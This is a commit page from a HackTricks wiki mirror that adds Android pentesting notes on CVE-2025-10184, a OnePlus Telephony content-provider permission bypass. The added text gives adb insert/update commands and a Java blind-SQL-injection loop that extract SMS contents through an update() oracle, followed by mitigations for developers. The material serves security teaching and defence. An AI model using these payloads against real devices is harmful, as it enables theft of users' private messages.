mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge pull request #1429 from HackTricks-wiki/update_CVE-2025-10184__OnePlus_OxygenOS_Telephony_provide_20250924_125101
CVE-2025-10184 OnePlus OxygenOS Telephony provider permissio...
This commit is contained in:
		
						commit
						a96eb96d2e
					
				| @ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi | ||||
| 
 | ||||
| Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications. | ||||
| 
 | ||||
| ### Permission semantics and pitfalls (Content Providers) | ||||
| 
 | ||||
| - If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider. | ||||
| - Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates. | ||||
| - Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern. | ||||
| 
 | ||||
| **FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently. | ||||
| 
 | ||||
| Example manifest declaration for FileProvider: | ||||
| @ -500,6 +506,11 @@ Tools / scripts that speed-up Binder reconnaissance: | ||||
| - [Android Developer Docs – AIDL](https://developer.android.com/guide/components/aidl) | ||||
| - [Android Developer Docs – IBinder](https://developer.android.com/reference/android/os/IBinder) | ||||
| - [Understanding Binder, Talk @ Google](https://www.youtube.com/watch?v=O-UHvFjxwZ8) | ||||
| - [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/) | ||||
| - [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) | ||||
| - [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn) | ||||
| - [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn) | ||||
| - [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[])) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
|  | ||||
| @ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not | ||||
|   sqlite_sequence | ||||
| ``` | ||||
| 
 | ||||
| ### writePermission omission + blind SQLi via update() | ||||
| 
 | ||||
| A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS). | ||||
| 
 | ||||
| Key idea | ||||
| - Exported provider, readPermission set, writePermission omitted | ||||
| - update(uri, values, where, whereArgs) returns rows-affected; UNIQUE constraint errors also indicate a write attempt happened | ||||
| - Attack controls WHERE to evaluate a Boolean expression over a subquery that reads secret data from co-located tables | ||||
| - If the provider’s table is empty, insert() can be abused to seed a row so update() affects ≥1 row | ||||
| 
 | ||||
| Discovery workflow | ||||
| - Enumerate exported providers and check perms: | ||||
|   - drozer: run app.provider.info -a <pkg> | ||||
|   - adb: aapt dump xmltree APK AndroidManifest.xml | grep -A5 "<provider" | ||||
| - Look for providers with readPermission set but writePermission missing | ||||
| - Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked) | ||||
| 
 | ||||
| Co-location and schema probe (adb) | ||||
| Use sqlite_master to verify the target table exists in the same DB file: | ||||
| 
 | ||||
| ```bash | ||||
| adb shell cmd content query \ | ||||
|   --uri content://service-number/service_number \ | ||||
|   --where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0' | ||||
| ``` | ||||
| 
 | ||||
| Seeding a row (if needed) | ||||
| If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation: | ||||
| 
 | ||||
| ```bash | ||||
| adb shell cmd content insert \ | ||||
|   --uri content://service-number/service_number \ | ||||
|   --bind hash_number:s:dummy | ||||
| ``` | ||||
| 
 | ||||
| Blind Boolean oracle via update() | ||||
| - Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi> | ||||
| - TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise | ||||
| - Binary search [0..127] to recover each character | ||||
| 
 | ||||
| Minimal extraction loop (pseudocode) | ||||
| ```java | ||||
| boolean probe(Uri uri, String where) { | ||||
|   ContentValues cv = new ContentValues(); | ||||
|   cv.put("rowid", "123"); | ||||
|   try { | ||||
|     return getContentResolver().update(uri, cv, where, null) > 0; | ||||
|   } catch (Exception e) { | ||||
|     return e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed"); | ||||
|   } | ||||
| } | ||||
| 
 | ||||
| char leakChar(Uri uri, String subquery, int pos) { | ||||
|   int lo = 0, win = 127; | ||||
|   while (true) { | ||||
|     String where = String.format( | ||||
|       "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d", | ||||
|       subquery, pos, lo, lo + win); | ||||
|     if (probe(uri, where)) { | ||||
|       if (win == 0) return (char) lo; | ||||
|       win = (win > 3) ? (win / 2) : (win - 1); | ||||
|     } else { | ||||
|       if (lo == 0 && win == 127) return '\0'; | ||||
|       lo = (win > 0) ? (lo + win) : (lo + 1); | ||||
|     } | ||||
|   } | ||||
| } | ||||
| ``` | ||||
| 
 | ||||
| adb example of a single probe | ||||
| ```bash | ||||
| # Try to infer whether first char of latest SMS body is between '0'(48) and '9'(57) | ||||
| adb shell cmd content update \ | ||||
|   --uri content://service-number/service_number \ | ||||
|   --bind rowid:s:123 \ | ||||
|   --where '1=1 AND unicode(substr((SELECT body FROM sms ORDER BY rowid DESC LIMIT 1),1,1)) BETWEEN 48 AND 57' | ||||
| ``` | ||||
| 
 | ||||
| Notes | ||||
| - Works only if the target table (e.g., sms) is in the same SQLite database used by the vulnerable provider | ||||
| - insert()/update()/delete() must be callable by unprivileged apps (writePermission omitted) | ||||
| - The exact URI and table names differ per OEM/provider; examples seen in the wild include: | ||||
|   - content://service-number/service_number | ||||
|   - content://push-mms/push | ||||
|   - content://push-shop/push_shop | ||||
| 
 | ||||
| Mitigations for app/ROM developers | ||||
| - Always declare both readPermission and writePermission on exported providers; prefer android:exported="false" by default | ||||
| - Sanitize or bind selection / projection / sortOrder; do not concatenate caller input into SQL | ||||
| - Use SQLiteQueryBuilder with a projection map and fixed WHERE templates; validate column names against a whitelist | ||||
| - Keep sensitive tables in a separate DB not shared with untrusted providers | ||||
| 
 | ||||
| ## **File System-backed Content Providers** | ||||
| 
 | ||||
| Content providers could be also used to **access files:** | ||||
| @ -249,6 +341,11 @@ These changes in recent Android versions mean many legacy exploitation primitive | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [CVE-2025-10184: OnePlus OxygenOS Telephony provider permission bypass (NOT FIXED)](https://www.rapid7.com/blog/post/cve-2025-10184-oneplus-oxygenos-telephony-provider-permission-bypass-not-fixed/) | ||||
| - [Android docs: Content providers](https://developer.android.com/guide/topics/providers/content-provider-basics) | ||||
| - [Android manifest provider: readPermission](https://developer.android.com/guide/topics/manifest/provider-element#rprmsn) | ||||
| - [Android manifest provider: writePermission](https://developer.android.com/guide/topics/manifest/provider-element#wprmsn) | ||||
| - [Android ContentResolver.update()](https://developer.android.com/reference/android/content/ContentResolver#update(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String[])) | ||||
| - [https://www.tutorialspoint.com/android/android_content_providers.htm](https://www.tutorialspoint.com/android/android_content_providers.htm) | ||||
| - [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) | ||||
| - [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf) | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user